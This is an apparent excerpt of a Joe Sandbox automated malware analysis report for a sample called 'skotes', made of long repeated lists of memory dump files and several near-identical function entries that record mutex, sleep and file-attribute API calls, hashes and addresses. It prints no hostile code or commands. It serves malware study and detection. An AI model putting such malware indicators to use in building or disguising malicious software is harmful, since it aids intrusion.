Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: b567a0e7dd189bf3aea8a5f947ae4ee7226467cccf0894509a0f924cd45b0ce9
Instruction ID: dc10409e4bc7bd464835f503b6395ed6bf021e4e7e4519b0b1ebcae71f38e0dc
Opcode Fuzzy Hash: b567a0e7dd189bf3aea8a5f947ae4ee7226467cccf0894509a0f924cd45b0ce9
Instruction Fuzzy Hash: D5316831A243409BFF08DB78DD88B6DB766EBC6310F208218E4049B3D1CB7699A48792

Function 0029A2E3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 134
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A2E6
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: b281b1047fda214479a103a60a52c891ecbea50dd35b4338ff7aafe049fa0696
Instruction ID: b4ace504e6cb98eb4e1d720f4c861283329cc58d728ffd64525fbde971e4f493
Opcode Fuzzy Hash: b281b1047fda214479a103a60a52c891ecbea50dd35b4338ff7aafe049fa0696
Instruction Fuzzy Hash: 5C319731A243408BFF08EB7CDC88B6CB776EBC2314F208218E415977D1CB7699A48792

Function 0029A418 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 133
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A41B
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: db48aa0e2e6d1b0bfd157dfbfaf6082cbab41857a9438ca407c89b3f241ec58d
Instruction ID: da561bfe1ce09ff053c5f7be9fd72527a27844f8d3edcd247b77e9ded6317e0b
Opcode Fuzzy Hash: db48aa0e2e6d1b0bfd157dfbfaf6082cbab41857a9438ca407c89b3f241ec58d
Instruction Fuzzy Hash: 68314A31A642009BEF08EB78DD8DB6DB765EFC2314F20821CE4159B2D5CB7599A48A92

Function 0029A54D Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 132sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A550
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347257214.0000000000510000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347284510.0000000000512000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347309188.0000000000513000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347336465.000000000051B000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347365010.000000000052E000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347392057.000000000052F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347421451.000000000053C000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000053E000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347448714.000000000055D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347508172.0000000000573000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347533733.0000000000575000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347558825.0000000000589000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347586242.000000000058A000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347611531.000000000058B000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347638741.000000000058F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347662543.0000000000591000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347689148.000000000059F000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347713834.00000000005A0000.00000080.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_290000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesCreateFileMutexSleep
String ID: T2/
API String ID: 396266464-3528799830
Opcode ID: 50d262eacf532797a60558340b9a4d18d0ce50d91f76261510d0d485651a5b66
Instruction ID: b4807796d155f4738d26cd6647d13d17f0980a5b8f2a86e3ded4d9561328dbfd
Opcode Fuzzy Hash: 50d262eacf532797a60558340b9a4d18d0ce50d91f76261510d0d485651a5b66
Instruction Fuzzy Hash: 32314A31B242008BFF08EB78DC8DB6DB765EBC1314F248218E415972D1CB3599A48752

Function 0029A682 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 131sleepsynchronizationCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(00000000), ref: 0029A685
Sleep.KERNELBASE(00000064,?), ref: 0029A963
CreateMutexA.KERNELBASE(00000000,00000000,002F3254), ref: 0029A981

Strings

T2/, xrefs: 0029A970

Memory Dump Source

Source File: 00000007.00000002.3346122564.0000000000291000.00000040.00000001.01000000.0000000A.sdmp, Offset: 00290000, based on PE: true

Associated: 00000007.00000002.3346080086.0000000000290000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346122564.00000000002F2000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346199484.00000000002F9000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346225916.00000000002FB000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346254292.0000000000307000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346358573.0000000000458000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346385246.000000000045A000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346413347.0000000000471000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346439552.0000000000474000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.0000000000475000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346464732.000000000047D000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346515160.0000000000485000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346555662.0000000000486000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346580055.0000000000487000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346603645.0000000000488000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346633920.0000000000498000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346662951.0000000000499000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346692829.00000000004AB000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346715813.00000000004AD000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346740105.00000000004AE000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346777116.00000000004AF000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346801145.00000000004B7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346825669.00000000004C1000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346854894.00000000004D7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346883931.00000000004D8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346906770.00000000004D9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346930102.00000000004DE000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346954464.00000000004E5000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3346979555.00000000004E6000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347005401.00000000004E7000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347029317.00000000004E8000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347051966.00000000004E9000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347078157.00000000004F0000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347103451.00000000004F1000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347130124.00000000004F4000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347156077.00000000004FF000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347181957.0000000000501000.00000040.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347207048.0000000000502000.00000080.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000007.00000002.3347232628.0000000000509000.00000040.00000001.01000000.0000000A.sdmpDownload File
